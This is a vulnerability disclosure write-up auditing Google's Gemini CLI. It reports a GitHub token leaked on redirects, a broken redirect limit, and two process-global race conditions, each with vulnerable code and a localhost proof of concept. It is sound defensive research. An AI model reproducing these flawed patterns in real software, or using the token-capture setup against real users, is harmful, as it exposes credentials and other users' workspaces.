Google open-sourced their AI coding agent, Gemini CLI. So we audited it, and found four security vulnerabilities — one medium and three low severity. All were verified against source code and reported to Google via their Bug Hunters program.
GitHub Token Leaked to Redirect Targets
Severity: Low | Confirmed: PoC demonstrates credential leakage
The downloadFile function in github.ts attaches the user’s GITHUB_TOKEN as an Authorization header on every HTTP request, including recursive calls that follow 301/302 redirects:
// packages/cli/src/config/extensions/github.ts:528-531
const token = await getGitHubToken();
if (token) {
headers['Authorization'] = `token ${token}`;
}
When GitHub redirects a download to a CDN (which it does for tarballs and zipballs), the token is forwarded unconditionally. There is no comparison of the original host vs. the redirect target. A man-in-the-middle or a malicious redirect target receives the user’s GitHub personal access token, potentially granting read/write access to private repositories.
Proof of concept
// "GitHub" server redirects to a "CDN"
const github = http.createServer((_req, res) => {
res.writeHead(302, { Location: "http://localhost:9998/release.tar.gz" });
res.end();
});
// "CDN" server logs received headers
const cdn = http.createServer((req, res) => {
console.log(`Authorization: ${req.headers["authorization"]}`);
res.writeHead(200);
res.end();
});
$ node poc-token-leak.js
GET http://localhost:9997/repo/tarball
Authorization: token ghp_SECRET_TOKEN_12345
-> Redirect to http://localhost:9998/release.tar.gz
GET http://localhost:9998/release.tar.gz
Authorization: token ghp_SECRET_TOKEN_12345
--- CDN received request ---
Authorization header: token ghp_SECRET_TOKEN_12345
BUG CONFIRMED: GitHub token leaked to third-party CDN.
The fix is to strip the header on cross-origin redirects:
const redirectUrl = new URL(res.headers.location);
const originalUrl = new URL(url);
if (redirectUrl.hostname !== originalUrl.hostname) {
delete headers['Authorization'];
}
The redirect handling in github.ts and github_fetch.ts has a second, independent bug:
Infinite Redirect Loop (Post-Increment Bug)
Severity: Low | Confirmed: PoC demonstrates infinite recursion
The fetchJson function in github_fetch.ts has a one-character bug that disables its redirect limit entirely:
// Line 34 — the bug
fetchJson<T>(res.headers.location, redirectCount++);
// Line 28 — the guard that never triggers
if (redirectCount >= 10) {
throw new Error('Too many redirects');
}
The post-increment operator (redirectCount++) returns the value before incrementing. Every recursive call receives 0, so the >= 10 guard is unreachable. The correct pattern (redirectCount + 1) is already used elsewhere in the same codebase.
Proof of concept
// Tiny server that always redirects
const server = http.createServer((_req, res) => {
res.writeHead(302, { Location: "http://localhost:9999/" });
res.end();
});
// The vulnerable pattern (mirrors github_fetch.ts line 34)
function fetchJson(url, redirectCount = 0) {
if (redirectCount >= 10) throw new Error("Too many redirects");
return http.get(url, (res) => {
if (res.statusCode === 302) {
fetchJson(res.headers.location, redirectCount++); // BUG: always passes 0
}
});
}
$ node poc-redirect-loop.js
call #1 redirectCount = 0
call #2 redirectCount = 0
call #3 redirectCount = 0
...
call #847 redirectCount = 0
Stopped after 847 calls — redirectCount never exceeded 0.
Cross-Task Workspace Corruption via process.chdir()
Severity: Medium | Confirmed: PoC demonstrates cross-task data leakage
Gemini CLI’s a2a server is its agent-to-agent protocol server, designed for multi-agent orchestration — it handles concurrent task requests from multiple IDE windows. When a task arrives, setTargetDir() in config.ts calls process.chdir() to set the workspace directory:
// packages/a2a-server/src/config/config.ts:216
process.chdir(resolvedPath);
The problem: process.chdir() is a process-global mutation. It changes the working directory for the entire Node.js process — every request, every task, every concurrent operation. The server then reads it back asynchronously via process.cwd() in loadConfig(), creating a classic TOCTOU race:
- Task Alice calls
setTargetDir("/alice-project")— CWD is now/alice-project - Task Bob calls
setTargetDir("/bob-project")— CWD is now/bob-project - Task Alice resumes and reads
process.cwd()— gets/bob-project
Alice’s agent now operates on Bob’s workspace. It loads Bob’s GEMINI.md instructions, indexes Bob’s files, and writes outputs to Bob’s directory.
Proof of concept
// Simulate the vulnerable code path from config.ts + executor.ts
function setTargetDir(workspacePath) {
process.chdir(path.resolve(workspacePath)); // global mutation
}
async function loadConfig(taskId) {
await new Promise(r => setTimeout(r, 1)); // async work yields event loop
return { taskId, workspaceDir: process.cwd() }; // reads corrupted CWD
}
async function getConfig(workspacePath, taskId) {
setTargetDir({ workspacePath });
return await loadConfig(taskId); // race window between chdir and cwd read
}
// Two concurrent requests — Alice gets Bob's workspace
const [alice, bob] = await Promise.all([
getConfig("/alice-project", "task-alice"),
getConfig("/bob-project", "task-bob"),
]);
// alice.workspaceDir === "/bob-project" — WRONG
$ node poc-chdir-race.js
Task Alice requested: /tmp/workspace-a
Task Alice received: /tmp/workspace-b (WRONG!)
Task Bob requested: /tmp/workspace-b
Task Bob received: /tmp/workspace-b (correct)
BUG CONFIRMED: A task received the wrong workspace directory.
Process-Global Environment Variable Race Condition
Severity: Low
The a2a server’s _handleToolConfirmationPart method temporarily deletes GOOGLE_CLOUD_PROJECT and GOOGLE_APPLICATION_CREDENTIALS from process.env to prevent credential leakage into tool calls, then restores them in a finally block:
// packages/a2a-server/src/agent/task.ts:941-942
delete process.env.GOOGLE_CLOUD_PROJECT;
delete process.env.GOOGLE_APPLICATION_CREDENTIALS;
// ... async tool execution ...
// finally block at lines 979-984 restores them
Since process.env is shared across the entire Node.js process, concurrent requests observe missing credentials during the async window between deletion and restoration. This is the same class of process-global mutation as the process.chdir() race above — legitimate GCP operations in other requests fail, and the credential isolation mechanism itself is unreliable under concurrency.
Proof of concept
async function handleToolConfirmation() {
const saved = process.env.GOOGLE_CLOUD_PROJECT;
delete process.env.GOOGLE_CLOUD_PROJECT; // visible to all concurrent requests
try {
await new Promise(r => setTimeout(r, 50)); // async tool execution
} finally {
if (saved) process.env.GOOGLE_CLOUD_PROJECT = saved;
}
}
async function legitimateGcpOperation() {
await new Promise(r => setTimeout(r, 10)); // hits the race window
return process.env.GOOGLE_CLOUD_PROJECT; // undefined!
}
await Promise.all([handleToolConfirmation(), legitimateGcpOperation()]);
$ node poc-env-race.js
Initial: GOOGLE_CLOUD_PROJECT = my-production-project
Results:
Task GCP saw GOOGLE_CLOUD_PROJECT = (undefined)
Task GCP saw GOOGLE_APPLICATION_CREDENTIALS = (undefined)
BUG CONFIRMED: Credentials missing during concurrent operation.
PoCs
Try it yourself:
git clone https://github.com/zack-eth/gemini-cli-audited
node gemini-cli-audited/poc-token-leak.js
node gemini-cli-audited/poc-redirect-loop.js
node gemini-cli-audited/poc-chdir-race.js
node gemini-cli-audited/poc-env-race.js
Source: github.com/zack-eth/gemini-cli-audited
Disclosure
- April 9, 2026 — Report submitted to Google via Bug Hunters (g.co/vulnz)
This is the third AI coding agent we’ve audited. Claude Code had one finding, Codex had one finding, and Gemini CLI had four — the most of the three. Two of Gemini CLI’s findings stem from process-global state mutation (process.chdir() and process.env), a pattern that’s particularly dangerous in concurrent Node.js servers where multiple tasks share a single process.
The full audit report is available at audited.xyz/report/gemini-cli.